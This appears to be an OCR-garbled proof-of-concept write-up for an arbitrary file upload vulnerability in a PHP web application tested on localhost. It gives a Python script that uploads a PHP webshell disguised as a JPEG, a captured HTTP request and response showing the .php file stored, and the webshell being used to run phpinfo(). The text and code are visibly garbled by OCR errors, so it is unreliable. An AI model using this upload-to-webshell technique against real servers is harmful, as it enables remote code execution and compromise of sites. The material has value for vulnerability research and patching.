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1. BITREPythonfIZA , #&#llAjax BEiER , PythonBIAIIT :

#!/usr/bin/python

#-*- coding: UTF-8 -*-

import requests

header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; windows NT)'
'X-Requested-with': 'XMLHttpRequest',}

url = "http://127.0.0.1/user/upFiles/upload"

files ={'file':('1l.php',open('1l.php','rb"), " 'image/jpeg')}

res = requests.post(url, files=files,headers=header)

print res.text
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Enable Post data [ Enable Referrer
Post data g=phpinfol);

PHP Version 5.6.27 Php

System Windows NT DESKTOP-464SHOH 10.0 build 16299 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture *B6

Configure Command cscript /nologo configure js *--enable-snapshot-build” *--enable-debug-pack” "--disable-zts" "--disable-

isapi” "--disable-nsapi” "--without-mssgl” "--without-pdo-mssql” *--without-pi3web" "--with-
pde-oci=c\php-sdk\oracle\x86\instantclient_12_1\sdkshared" *--with-oci8-12c=c:\php-sdk\oracle
\xB6\instantclient_12_T\sdk,shared" "--with-enchant=shared" "--enable-cbject-out-dir=./obj/" *--enable-
com-dotnet=shared" *--with-mcrypt=static” "--without-analyzer® *--with-pgo”

Server APl CG/FastCGl

Virtual Directory Support disabled
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Request
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /user/upFiles/upload HTTP/1.1 ‘A HITP/1.1 200 OK

Host: 127.0.0.1
User-Agent: Mozilla/5.0 . rvi48.0) Gecko/20100101 Firefox/48.0
Accept: application/json, text/javascript, #/%; .01

Accept-Language: zh-CHN, zh:q=0.8, en-US; LB, en;g=0.3

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://127.0.0.1/user/set/ index. html

Content-Length: 2948

Content-Type: multipart/form-data: boundary 2232415818 15?64|
Commection: keep-alive

Date: Fri, 09 War 2018 01:33:06 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fegid/2.3.9
X-Powered-By: PHP/5. 6
Expires: Thu, 18 Nov 1981 08:52:00 GMT

Cache-Contrel: ne-store. no—cache, must-revalidate, post—check=0, pre-check=0
Pragma: no-cache

Set-Cookie: PHPSESSID=jTpp3vg3ijdr2Teg5rsisinlpb; path=/

Keep-Alive: timeout=5, max=100

Commection: Keep-Alive

Content-Type: application/json: charset=utf-3

Content-Length: 105

223241581815764
Content-Disposition: form-data: name="file”; filename
Content-Type: image/jpeg

{"code”: 1, "info” ", "url”: "\ uploadsh/201803081/64a211154e71c05795a0f 901860b62

b9, php”}
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% split URL

» Execute

Enable Post data  [] Enable Referrer

Post data g=phpinfo();

PHP Version 5.6.27 Php

System Windows NT DESKTOP-464SHOH 10.0 build 16299 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture %86

Configure Command cscript /nolego configure.js "--enable-snapshot-build” *--enable-debug-pack” "--disable-zts" "--disable-

isapi” "--disable-nsapi” "--without-mssql® *--without-pdo-mssql” *--without-pi3web” "--with-
pdo-oci=c:\php-sdk\oracle\x86\instantclient 12_1\sdk shared” *--with-oci8-12c=c:\php-sdk\oracle
\xB6\instantclient_12_1\sdk,shared” "--with-enchant=shared" "--enable-object-out-dir=../obj/" *--enable-
com-dotnet=shared" "--with-mcrypt=static” "--without-analyzer® *--with-pgo”

Server APl CGl/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path CAWINDOWS

Loaded Configuration File EAstudy\php\php-5.6.27-nts\php.ini
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